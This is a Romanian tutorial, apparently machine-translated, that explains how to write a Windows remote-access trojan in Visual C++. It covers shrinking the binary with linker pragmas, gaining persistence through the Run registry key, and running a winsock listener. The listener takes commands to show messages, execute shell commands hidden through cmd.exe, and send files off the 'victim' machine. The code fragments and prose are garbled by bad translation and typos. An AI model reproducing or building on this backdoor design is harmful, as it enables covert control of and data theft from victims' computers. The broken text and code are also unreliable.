Cum se scrie un troian (de exemplu)

Cum se scrie un troian (Exemplu)

Pentru un program, avem nevoie de Visual C ++ versiune mai mare decât a cincea, și mai bine C ++,
parte a pachetului Visual Studio .NET. Crearea unui spațiu de lucru gol sau o soluție (în VS






.NET) și adaugă două noi proiecte gol Win32
Aplicație, server și client. schimba imediat configurația activă
Eliberați ambele pe proiecte. Pentru a face acest lucru, selectați elementul corespunzător din
meniul Build. Creat? Ok, apoi a urcat în setările de proiect
(Click dreapta pe numele proiectului și selectați Setare), în
Linker si adauga la obiect module bar / bibliotecă bibliotecă
vinsoka wsock32.lib. Fără ea, programul nostru nu va funcționa. Notă aceste
acțiuni trebuie să dețină cu ambele proiecte - și server, și
clientul, deoarece ambele folosesc funcțiile de rețea și
respectiv, au nevoie de o bibliotecă de rețea. Acum, adăugați, în
Project Server nou fișier cpp, și să înceapă.

BEGIN kodit
Chiar la începutul programului trebuie să includă fișierele header
(Header), care descrie funcțiile folosite de noi. fără Heather
programul vă va da un nor de bug-uri și nu va funcționa. În acest
cazul în care avem doar un singur Heder - care descriu funcțiile de rețea ale
bibliotecă, am adăugat un pic mai devreme.
#include

Cu ajutorul acestora, este extrem de important pentru dimensiunea rând al programului, noi
Am tăiat tot excesul din antetul PE al eheshnika noastre și lasă-
compilator pe care o avem deja punctul de intrare, punctul de intrare. În cazul în care acest lucru nu este
nu, compilatorul în loc să scrie funcția noastră la punctul
intrare, scrie propria lor, imens, și dimensiunea programului va crește 2-28
kilogram. O diferență notabilă? smile Dar acum, dacă încercați să executați
un program în modul de depanare, probabil nu va funcționa.

#pragma comment (linker / MERGE: .rdata = .text)
# Pragma comment (agent de legătură, / FILEALIGN: 512 /SECTION:.text, EWRX
/ IGNORE: 4078)
în comentariu # Pragma (agent de legătură, / INTRARE: WinMain)

Aici am ajuns la cel mai important în cadrul programului - funcția de punct de intrare
în care controlul este transferat după pornire. Ea are patru
parametru, nici unul din care nu avem nevoie, astfel încât numele
Parametrii Eu nu scriu și eu scriu doar tipul lor.

int WinAPI WinMain (HINSTANCE, HINSTANCE.LPSTFUnt)





Apoi, cu ajutorul funcțiilor de registru le scrie în
SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run svezheskopirovanny dvs.
fișier care a fost încărcat la fiecare pornire a sistemului. Trojan este încărcat și
gata pentru apărare rundă (zâmbet atac).

În cele din urmă am ajuns la cea mai importantă parte a codului, fără de care
Trojan - acest lucru nu este un troian. Site-ul responsabil pentru schimbul de date cu victima
zâmbești. După cum probabil știți deja din articolele Horrific'a, pentru
Utilizarea winsoc funcții ^ o trebuie mai întâi inițializat.
În exclusivitate pentru ei singuri să o facă cu următorul cod:

if (bind (listetJ5ock, (LPSOCKADDR) -addr_Sock, sizegf (struct sockaddr)))
return 0;

O linie care începe în cele din urmă vom asculta portul, adică, deschide
pentru compuși. Pentru a fi precis, pentru o singură conexiune. În primul
parametru vom trece variabila-socket care se deschid, iar în al doilea
- numărul de conexiuni posibile, avem mai mult nu este necesar. la fel ca în
caz c bind'OM, atunci când o eroare dezactiva troian.
dacă (asculta (listet_Sock, 1)) return 0;

1) Stai konnekta

2) Se tratează echipa

3) În cazul în eroare apropiate conexiunilor existente

4) kp.1 Revenire

Comanda va fi acceptată ca un șir de caractere, primul caracter care
-de fapt, funcția de selectare, a doua - separatorul, orice, iar restul -
Acest argument, pe care le transfera functiile troian nostru. Aici este un exemplu
comandă trimisă de client: Bună. Trojan va lua mai întâi primul
două caractere și verificați dacă avem o funcție atribuită simbolul M
(Y noi este un mesaj de avertizare). Apoi, este nevoie de încă 126 de caractere și sarcini
funcția noastră. Pentru a avea un troian în ciclul este primit de funcția de recv
datele create de două ori după o priză de conexiune hack Ciorap, primul
tampon 2 octeți, și 126. În al doilea caz, în cazul în care datele nu se obține
gestionat, CommandLoop completat comanda pauza, priza va fi închisă și
serverul va aștepta o conexiune din nou. Scriem mai multe funcții Trojan:
Dacă primul caracter m, apoi a efectuat messagebox funcția (0, buf, hacked
într-un zâmbet răspuns, 0), în cazul în care buf - aceasta este al doilea tampon nostru.

În cazul în care primul caracter este, atunci linia buf trece prin cmd.exe c
parametru / s, această funcție este pornit cu următorii parametri
ShellExecuteA (NULL, oren, cmd.exe, buf_command, NULL, SW_H1DE),
unde buf_command - acesta este tampon nostru cu adăugat rândul din față / s. o
SW_HIDE indică faptul că victima nu ar trebui să fie văzut în curs de dezvoltare
consola. Și ultima funcție, cea mai dificilă, care efectuează descărcare
fișier de la mașina victimei. Aceasta se realizează când primul caracter -
l f. În primul rând, acesta se deschide fișierul pentru funcția read-only
QpateFile. A atunci, în cazul în care fișierul există în ring trimite 4096
octeți a fișierului. În cazul în care octeți trimis este mai mic, atunci este sfârșitul
fișier și ciclul este întrerupt. Un semnal de la client că fișierul este încheiat,
se va deconecta.

In rolul clientului poate fi orice program care poate trimite
Formatul pachet ne-a dat victima. Pentru a avea un server cu skonnektitsya
și să execute tipul de comandă: trimite (șosetă, m Nello, 128,0). dar, doar
în cazul în care am scris un client care ruleaza de la linia de comandă, și,
idee, este ușor de a transfera la orice platformă. Se trimite Troyan echipei
Echipa client.exe efectuat [ip victimei] [funcția] [argument]
de exemplu: client 127.0.0.1 m Buna ziua.